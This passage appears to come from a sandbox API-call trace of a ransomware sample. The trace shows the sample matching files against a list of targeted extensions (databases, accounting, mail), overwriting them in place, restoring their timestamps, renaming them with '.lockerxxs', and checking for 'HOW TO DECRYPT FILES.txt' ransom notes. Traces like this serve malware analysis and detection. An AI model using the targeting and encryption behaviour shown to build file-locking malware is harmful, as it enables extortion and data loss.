HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.425] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.425] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.425] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.425] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adnxs[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.ems") returned 0 [0088.425] lstrlenA (lpString="*.ems") returned 5 [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.db") returned 0 [0088.425] lstrlenA (lpString="*.db") returned 4 [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.dbf") returned 0 [0088.425] lstrlenA (lpString="*.dbf") returned 5 [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.myox") returned 0 [0088.425] lstrlenA (lpString="*.myox") returned 6 [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.myo") returned 0 [0088.425] lstrlenA (lpString="*.myo") returned 5 [0088.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbw") returned 0 [0088.425] lstrlenA (lpString="*.qbw") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbb") returned 0 [0088.426] lstrlenA (lpString="*.qbb") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbm") returned 0 [0088.426] lstrlenA (lpString="*.qbm") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbo") returned 0 [0088.426] lstrlenA (lpString="*.qbo") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbx") returned 0 [0088.426] lstrlenA (lpString="*.qbx") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qba") returned 0 [0088.426] lstrlenA (lpString="*.qba") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qby") returned 0 [0088.426] lstrlenA (lpString="*.qby") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qbj") returned 0 [0088.426] lstrlenA (lpString="*.qbj") returned 5 [0088.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.ofx") returned 0 [0088.426] lstrlenA (lpString="*.ofx") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.qif") returned 0 [0088.427] lstrlenA (lpString="*.qif") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.mye") returned 0 [0088.427] lstrlenA (lpString="*.mye") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.mbox") returned 0 [0088.427] lstrlenA (lpString="*.mbox") returned 6 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.eml") returned 0 [0088.427] lstrlenA (lpString="*.eml") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.pst") returned 0 [0088.427] lstrlenA (lpString="*.pst") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.ost") returned 0 [0088.427] lstrlenA (lpString="*.ost") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.idx") returned 0 [0088.427] lstrlenA (lpString="*.idx") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.dbx") returned 0 [0088.427] lstrlenA (lpString="*.dbx") returned 5 [0088.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.sql") returned 0 [0088.427] lstrlenA (lpString="*.sql") returned 5 [0088.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.mdb") returned 0 [0088.428] lstrlenA (lpString="*.mdb") returned 5 [0088.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.fdb") returned 0 [0088.428] lstrlenA (lpString="*.fdb") returned 5 [0088.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.wab") returned 0 [0088.428] lstrlenA (lpString="*.wab") returned 5 [0088.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.dat") returned 0 [0088.428] lstrlenA (lpString="*.dat") returned 5 [0088.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", pszSpec="*.txt") returned 1 [0088.428] lstrlenA (lpString="*.txt") returned 5 [0088.428] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0088.428] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0088.428] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt." [0088.428] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.lockerxxs" [0088.428] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.430] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x242 [0088.430] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe5d5130, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0x45f08810, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45f08810, dwHighDateTime=0x1d2faf3)) returned 1 [0088.430] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.430] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x21c, lpOverlapped=0x0) returned 1 [0088.433] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0088.433] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.433] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x21c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x21c, lpOverlapped=0x0) returned 1 [0088.434] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.434] CloseHandle (hObject=0x9c) returned 1 [0088.434] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.lockerxxs")) returned 1 [0088.435] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x1a000319, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adtech[2].txt", cAlternateFileName="5PC5B2~1.TXT")) returned 1 [0088.435] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.435] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned 1 [0088.435] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned 1 [0088.435] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned -1 [0088.435] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0088.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.435] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.435] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.435] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.436] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adtech[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.ems") returned 0 [0088.436] lstrlenA (lpString="*.ems") returned 5 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.db") returned 0 [0088.436] lstrlenA (lpString="*.db") returned 4 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.dbf") returned 0 [0088.436] lstrlenA (lpString="*.dbf") returned 5 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.myox") returned 0 [0088.436] lstrlenA (lpString="*.myox") returned 6 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.myo") returned 0 [0088.436] lstrlenA (lpString="*.myo") returned 5 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbw") returned 0 [0088.436] lstrlenA (lpString="*.qbw") returned 5 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbb") returned 0 [0088.436] lstrlenA (lpString="*.qbb") returned 5 [0088.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbm") returned 0 [0088.436] lstrlenA (lpString="*.qbm") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbo") returned 0 [0088.437] lstrlenA (lpString="*.qbo") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbx") returned 0 [0088.437] lstrlenA (lpString="*.qbx") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qba") returned 0 [0088.437] lstrlenA (lpString="*.qba") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qby") returned 0 [0088.437] lstrlenA (lpString="*.qby") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qbj") returned 0 [0088.437] lstrlenA (lpString="*.qbj") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.ofx") returned 0 [0088.437] lstrlenA (lpString="*.ofx") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.qif") returned 0 [0088.437] lstrlenA (lpString="*.qif") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.mye") returned 0 [0088.437] lstrlenA (lpString="*.mye") returned 5 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.mbox") returned 0 [0088.437] lstrlenA (lpString="*.mbox") returned 6 [0088.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.eml") returned 0 [0088.438] lstrlenA (lpString="*.eml") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.pst") returned 0 [0088.438] lstrlenA (lpString="*.pst") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.ost") returned 0 [0088.438] lstrlenA (lpString="*.ost") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.idx") returned 0 [0088.438] lstrlenA (lpString="*.idx") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.dbx") returned 0 [0088.438] lstrlenA (lpString="*.dbx") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.sql") returned 0 [0088.438] lstrlenA (lpString="*.sql") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.mdb") returned 0 [0088.438] lstrlenA (lpString="*.mdb") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.fdb") returned 0 [0088.438] lstrlenA (lpString="*.fdb") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.wab") returned 0 [0088.438] lstrlenA (lpString="*.wab") returned 5 [0088.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.dat") returned 0 [0088.438] lstrlenA (lpString="*.dat") returned 5 [0088.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", pszSpec="*.txt") returned 1 [0088.439] lstrlenA (lpString="*.txt") returned 5 [0088.439] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" [0088.439] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS 